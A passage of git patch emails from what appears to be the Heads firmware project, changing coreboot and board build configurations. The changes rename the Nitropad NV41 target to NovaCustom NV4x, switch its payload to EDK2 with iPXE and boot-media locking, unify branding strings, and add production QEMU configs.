CONFIG_INTEL_TXT_LIB=y # CONFIG_INTEL_TXT is not set # CONFIG_STM is not set # CONFIG_INTEL_CBNT_SUPPORT is not set -CONFIG_BOOTMEDIA_LOCK_NONE=y -# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_NONE is not set +CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y # CONFIG_BOOTMEDIA_LOCK_CHIP is not set -# CONFIG_BOOTMEDIA_SMM_BWP is not set +# CONFIG_BOOTMEDIA_LOCK_WHOLE_RO is not set +# CONFIG_BOOTMEDIA_LOCK_WHOLE_NO_ACCESS is not set +CONFIG_BOOTMEDIA_LOCK_WPRO_VBOOT_RO=y +CONFIG_BOOTMEDIA_LOCK_IN_VERSTAGE=y +CONFIG_BOOTMEDIA_SMM_BWP=y # end of Security CONFIG_ACPI_HAVE_PCAT_8259=y @@ -772,8 +829,8 @@ CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set # CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 -CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y -CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +# CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX is not set +# CONFIG_CONSOLE_USE_ANSI_ESCAPES is not set # CONFIG_CMOS_POST is not set CONFIG_HWBASE_DEBUG_CB=y # end of Console @@ -804,12 +861,89 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_LINUXBOOT is not set # CONFIG_PAYLOAD_SEABIOS is not set # CONFIG_PAYLOAD_UBOOT is not set -# CONFIG_PAYLOAD_EDK2 is not set -CONFIG_PAYLOAD_LINUX=y -CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_EDK2=y +# CONFIG_PAYLOAD_LINUX is not set +CONFIG_PAYLOAD_FILE="novacustom_nv4x_adl/UEFIPAYLOAD.fd" CONFIG_PAYLOAD_OPTIONS="" -# CONFIG_PXE is not set -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +CONFIG_EDK2_UEFIPAYLOAD=y +# CONFIG_EDK2_UNIVERSAL_PAYLOAD is not set +CONFIG_EDK2_REPO_MRCHROMEBOX=y +# CONFIG_EDK2_REPO_OFFICIAL is not set +# CONFIG_EDK2_REPO_CUSTOM is not set +CONFIG_EDK2_REPOSITORY="https://github.com/Dasharo/edk2" +CONFIG_EDK2_TAG_OR_REV="b7274c98697e972e772236caf830c0780ec498bd" +CONFIG_EDK2_USE_EDK2_PLATFORMS=y +CONFIG_EDK2_PLATFORMS_REPOSITORY="https://github.com/Dasharo/edk2-platforms" +CONFIG_EDK2_PLATFORMS_TAG_OR_REV="3323ed481d35096fb6a7eae7b49f35eff00f86cf" +# CONFIG_EDK2_DEBUG is not set +CONFIG_EDK2_RELEASE=y +# CONFIG_EDK2_BOOT_MANAGER_ESCAPE is not set +CONFIG_EDK2_CBMEM_LOGGING=y +CONFIG_EDK2_SYSTEM76_EC_LOGGING=y +CONFIG_EDK2_CPU_TIMER_LIB=y +CONFIG_EDK2_FOLLOW_BGRT_SPEC=y +CONFIG_EDK2_FULL_SCREEN_SETUP=y +CONFIG_EDK2_HAVE_EFI_SHELL=y +CONFIG_EDK2_PRIORITIZE_INTERNAL=y +CONFIG_EDK2_PS2_SUPPORT=y +CONFIG_EDK2_SKIP_PS2_DETECT=y +CONFIG_EDK2_SD_MMC_TIMEOUT=10 +CONFIG_EDK2_SERIAL_SUPPORT=y +CONFIG_EDK2_ENABLE_IPXE=y +CONFIG_EDK2_IPXE_OPTION_NAME="iPXE Network Boot" +CONFIG_EDK2_SECURE_BOOT=y +# CONFIG_EDK2_SECURE_BOOT_DEFAULT_ENABLE is not set +# CONFIG_EDK2_SATA_PASSWORD is not set +# CONFIG_EDK2_OPAL_PASSWORD is not set +CONFIG_EDK2_SETUP_PASSWORD=y +CONFIG_EDK2_PERFORMANCE_MEASUREMENT_ENABLE=y +CONFIG_EDK2_DASHARO_SYSTEM_FEATURES=y +CONFIG_EDK2_DASHARO_SECURITY_OPTIONS=y +CONFIG_EDK2_SHOW_CAMERA_OPTION=y +CONFIG_EDK2_SHOW_WIFI_BT_OPTION=y +CONFIG_EDK2_DASHARO_INTEL_ME_OPTIONS=y +CONFIG_EDK2_DASHARO_USB_CONFIG=y +CONFIG_EDK2_DASHARO_NETWORK_CONFIG=y +# CONFIG_EDK2_DASHARO_CHIPSET_CONFIG is not set +CONFIG_EDK2_DASHARO_POWER_CONFIG=y +CONFIG_EDK2_SLEEP_TYPE_OPTION=y +CONFIG_EDK2_FAN_CURVE_OPTION=y +CONFIG_EDK2_BATTERY_CONFIG_OPTION=y +# CONFIG_EDK2_DASHARO_PCI_CONFIG is not set +# CONFIG_EDK2_DASHARO_MEMORY_CONFIG is not set +# CONFIG_EDK2_DASHARO_NETWORK_BOOT_DEFAULT_ENABLE is not set +# CONFIG_EDK2_DASHARO_SERIAL_REDIRECTION_DEFAULT_ENABLE is not set +CONFIG_EDK2_BOOT_MENU_KEY=0x0011 +CONFIG_EDK2_SETUP_MENU_KEY=0x000C +CONFIG_EDK2_DISABLE_MTRR_PROGRAMMING=y +CONFIG_EDK2_ENABLE_BATTERY_CHECK=y +# CONFIG_EDK2_DISABLE_OPTION_ROMS is not set +CONFIG_EDK2_PRINT_SOL_STRINGS=y +# CONFIG_EDK2_RAM_DISK_ENABLE is not set +CONFIG_EDK2_CUSTOM_BUILD_PARAMS="-D VARIABLE_SUPPORT=SMMSTORE" +CONFIG_EDK2_LAN_ROM_DRIVER="" +# CONFIG_EDK2_CREATE_PREINSTALLED_BOOT_OPTIONS is not set +CONFIG_PXE=y + +# +# PXE Options +# +# CONFIG_PXE_ROM is not set +CONFIG_BUILD_IPXE=y +CONFIG_IPXE_STABLE=y +# CONFIG_IPXE_MASTER is not set +# CONFIG_PXE_SERIAL_CONSOLE is not set +# CONFIG_PXE_NO_PROMPT is not set +CONFIG_PXE_ADD_SCRIPT=y +CONFIG_PXE_SCRIPT="3rdparty/dasharo-blobs/dasharo/dasharo.ipxe" +CONFIG_PXE_HAS_HTTPS=y +CONFIG_PXE_CUSTOM_BUILD_ID="0123456789" +CONFIG_PXE_TRUST_CMD=y +# end of PXE Options + +# CONFIG_COMPRESSED_PAYLOAD_NONE is not set +CONFIG_COMPRESSED_PAYLOAD_LZMA=y +# CONFIG_COMPRESSED_PAYLOAD_LZ4 is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # Signed-off-by: Thierry Laurion --- .circleci/config.yml | 6 +++--- .../novacustom_nv4x_adl.config} | 4 ++-- ...opad-nv41.config => coreboot-novacustom_nv4x_adl.config} | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) rename boards/{nitropad-nv41/nitropad-nv41.config => novacustom_nv4x_adl/novacustom_nv4x_adl.config} (94%) rename config/{coreboot-nitropad-nv41.config => coreboot-novacustom_nv4x_adl.config} (99%) diff --git a/.circleci/config.yml b/.circleci/config.yml index f7a347d97..1ee70a4a1 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -250,8 +250,8 @@ workflows: # No need to wait further for other board's cache # We reuse built modules from x230-hotp-maximized cache only - build_and_persist: - name: nitropad-nv41 - target: nitropad-nv41 + name: novacustom_nv4x_adl + target: novacustom_nv4x_adl subcommand: "" requires: - x86-musl-cross-make @@ -516,7 +516,7 @@ workflows: target: nitropad-ns50 subcommand: "" requires: - - nitropad-nv41 + - novacustom_nv4x_adl # coreboot 4.11 - build: diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config similarity index 94% rename from boards/nitropad-nv41/nitropad-nv41.config rename to boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 54bc0d44e..966cc4ed7 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -5,7 +5,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-nv41.config +CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom_nv4x_adl.config CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config #Enable DEBUG output @@ -67,6 +67,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOARD_NAME="Nitropad NV41" +export CONFIG_BOARD_NAME="NovaCustom NV4x 12th" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-novacustom_nv4x_adl.config similarity index 99% rename from config/coreboot-nitropad-nv41.config rename to config/coreboot-novacustom_nv4x_adl.config index 9484aaf51..235f255a3 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-novacustom_nv4x_adl.config @@ -111,7 +111,7 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_FAMILY="Not Applicable" CONFIG_MAINBOARD_PART_NUMBER="nv40pz" -CONFIG_MAINBOARD_VERSION="v2.1" +CONFIG_MAINBOARD_VERSION="nv40pz" CONFIG_MAINBOARD_DIR="clevo/adl-p" CONFIG_DIMM_MAX=4 CONFIG_DIMM_SPD_SIZE=512 @@ -131,7 +131,7 @@ CONFIG_VBOOT_VBNV_OFFSET=0x28 CONFIG_VARIANT_DIR="nv40pz" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" # CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Nitrokey" +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Notebook" CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/variants/$(VARIANT_DIR)/data.vbt" # CONFIG_DISABLE_HECI1_AT_PRE_BOOT is not set CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0x4000 @@ -140,7 +140,7 @@ CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 CONFIG_BOARD_CLEVO_ADLP_COMMON=y CONFIG_BOARD_CLEVO_NV40PZ_BASE=y -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Nitropad NV41" +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="NV4xPZ" CONFIG_CONSOLE_POST=y # CONFIG_USE_PM_ACPI_TIMER is not set CONFIG_TPM_PIRQ=0x27 From 15bf33007566b1534ff92736cd00f9d9d684603c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 4 Nov 2024 15:01:23 -0500 Subject: [PATCH 334/619] boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config: 'CONFIG_BOARD_NAME=NovaCustom NV4x 12th Gen', nv40pz in title. Remove forgotten Nitrokey Nitropad NV41 reference Signed-off-by: Thierry Laurion --- boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 966cc4ed7..fa3513966 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -1,4 +1,4 @@ -# Nitrokey Nitropad NV41 board configuration +# NovaCustom NV4x 12th Gen (nv40pz: Alder Lake) board configuration # Note: for reference, other GOP enabled FB board is librem_11 export CONFIG_COREBOOT=y @@ -67,6 +67,6 @@ export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" -export CONFIG_BOARD_NAME="NovaCustom NV4x 12th" +export CONFIG_BOARD_NAME="NovaCustom NV4x 12th Gen" export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" export CONFIG_AUTO_BOOT_TIMEOUT=5 From 6746058d28b9b70b30b30e85d223f0a4d725f832 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 14 Nov 2024 08:47:02 -0500 Subject: [PATCH 335/619] config/coreboot-novacustom_nv4x_adl.config: set CONFIG_MAINBOARD_VERSION to v2.1 as per fork reference config TODO: config LOCALVERSION and SMBIOS strings... Signed-off-by: Thierry Laurion --- config/coreboot-novacustom_nv4x_adl.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom_nv4x_adl.config b/config/coreboot-novacustom_nv4x_adl.config index 235f255a3..933b04ded 100644 --- a/config/coreboot-novacustom_nv4x_adl.config +++ b/config/coreboot-novacustom_nv4x_adl.config @@ -111,7 +111,7 @@ CONFIG_VENDOR_NOVACUSTOM=y # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_FAMILY="Not Applicable" CONFIG_MAINBOARD_PART_NUMBER="nv40pz" -CONFIG_MAINBOARD_VERSION="nv40pz" +CONFIG_MAINBOARD_VERSION="v2.1" CONFIG_MAINBOARD_DIR="clevo/adl-p" CONFIG_DIMM_MAX=4 CONFIG_DIMM_SPD_SIZE=512 From 80a4c84ea2b4eb49d3abe56aeaae597c76c21d33 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 15 Nov 2024 10:13:53 -0500 Subject: [PATCH 336/619] config/coreboot* config/linux* : verify/unify/fix branding strings (only LOCALVERSION was varying) Signed-off-by: Thierry Laurion --- config/coreboot-talos-2.config | 2 +- config/linux-linuxboot.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-talos-2.config b/config/coreboot-talos-2.config index 975cf8656..8896e9e1c 100644 --- a/config/coreboot-talos-2.config +++ b/config/coreboot-talos-2.config @@ -7,7 +7,7 @@ # General setup # CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="Heads-v0.2.0-2215-g21ab781-dirty" +CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_ALLOW_EXPERIMENTAL_CLANG is not set diff --git a/config/linux-linuxboot.config b/config/linux-linuxboot.config index 31e7efb66..66e78f978 100644 --- a/config/linux-linuxboot.config +++ b/config/linux-linuxboot.config @@ -1,4 +1,4 @@ -CONFIG_LOCALVERSION="-heads" +CONFIG_LOCALVERSION="-@BRAND_NAME@" # CONFIG_LOCALVERSION_AUTO is not set CONFIG_KERNEL_XZ=y CONFIG_DEFAULT_HOSTNAME="linuxboot" From a9bb1e6e9e923cc1ca3ac13126c025fc417e873c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 19 Nov 2024 14:05:42 -0500 Subject: [PATCH 337/619] qemu prod coreboot configs: remove debug output + unify with other boards prod kernel output (quiet, loglevel2), change resolution 1024x768 (4:3) to 1280x720 (16:9) resolution changed to fit smallest (uncommon) x230 screen size supported for dev cycles to show prod output: 1366x768 (16:9) Signed-off-by: Thierry Laurion --- ...-coreboot-fbwhiptail-tpm1-hotp-prod.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm1-prod.config | 2 +- ...-coreboot-fbwhiptail-tpm2-hotp-prod.config | 2 +- .../qemu-coreboot-fbwhiptail-tpm2-prod.config | 2 +- ...mu-coreboot-whiptail-tpm1-hotp-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm1-prod.config | 2 +- ...mu-coreboot-whiptail-tpm2-hotp-prod.config | 2 +- .../qemu-coreboot-whiptail-tpm2-prod.config | 2 +- .../coreboot-qemu-fbwhiptail-tpm1-hotp.config | 21 - config/coreboot-qemu-tpm1-prod.config | 562 ++++++++++++++++++ config/coreboot-qemu-tpm2-prod.config | 555 +++++++++++++++++ 11 files changed, 1125 insertions(+), 29 deletions(-) delete mode 100644 config/coreboot-qemu-fbwhiptail-tpm1-hotp.config create mode 100644 config/coreboot-qemu-tpm1-prod.config create mode 100644 config/coreboot-qemu-tpm2-prod.config diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config index d31ba5f35..255357084 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-hotp-prod/qemu-coreboot-fbwhiptail-tpm1-hotp-prod.config @@ -8,7 +8,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config index ee9785977..04c0c6477 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm1-prod/qemu-coreboot-fbwhiptail-tpm1-prod.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config index cb8626f20..fd1b23d4a 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-hotp-prod/qemu-coreboot-fbwhiptail-tpm2-hotp-prod.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config index 9368ada65..188d67027 100644 --- a/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-fbwhiptail-tpm2-prod/qemu-coreboot-fbwhiptail-tpm2-prod.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config index ba886d904..aeb1b4fa1 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-hotp-prod/qemu-coreboot-whiptail-tpm1-hotp-prod.config @@ -8,7 +8,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config index 20c99137c..0038b8a9f 100644 --- a/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm1-prod/qemu-coreboot-whiptail-tpm1-prod.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm1-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config index e1858e25a..10f051f94 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-hotp-prod/qemu-coreboot-whiptail-tpm2-hotp-prod.config @@ -7,7 +7,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config index cef49da5e..2db24f733 100644 --- a/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config +++ b/boards/qemu-coreboot-whiptail-tpm2-prod/qemu-coreboot-whiptail-tpm2-prod.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=24.02.01 export CONFIG_LINUX_VERSION=6.1.8 -CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2.config +CONFIG_COREBOOT_CONFIG=config/coreboot-qemu-tpm2-prod.config CONFIG_LINUX_CONFIG=config/linux-qemu.config #Enable only one RESTRICTED/BASIC boot modes below to test them manually (we cannot inject config under QEMU (no internal flashing) diff --git a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config b/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config deleted file mode 100644 index bd6332139..000000000 --- a/config/coreboot-qemu-fbwhiptail-tpm1-hotp.config +++ /dev/null @@ -1,21 +0,0 @@ -# CONFIG_INCLUDE_CONFIG_FILE is not set -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_CBFS_SIZE=0x980000 -# CONFIG_POST_IO is not set -# CONFIG_POST_DEVICE is not set -CONFIG_BOARD_EMULATION_QEMU_X86_Q35=y -# CONFIG_CONSOLE_SERIAL is not set -CONFIG_LINUX_COMMAND_LINE="debug console=ttyS0,115200 console=tty" -CONFIG_COREBOOT_ROMSIZE_KB_10240=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_UART_PCI_ADDR=0 -CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_USER_TPM1=y -CONFIG_TPM_MEASURED_BOOT=y -# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set -CONFIG_PAYLOAD_LINUX=y -CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -CONFIG_USBDEBUG=y -CONFIG_USBDEBUG=n diff --git a/config/coreboot-qemu-tpm1-prod.config b/config/coreboot-qemu-tpm1-prod.config new file mode 100644 index 000000000..94e0990d2 --- /dev/null +++ b/config/coreboot-qemu-tpm1-prod.config @@ -0,0 +1,562 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +CONFIG_CCACHE=y +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +# CONFIG_USE_OPTION_TABLE is not set +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +# CONFIG_INCLUDE_CONFIG_FILE is not set +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +CONFIG_NO_STAGE_CACHE=y +# CONFIG_CBMEM_STAGE_CACHE is not set +# CONFIG_UPDATE_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +CONFIG_VENDOR_EMULATION=y +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set +# CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAZER is not set +# 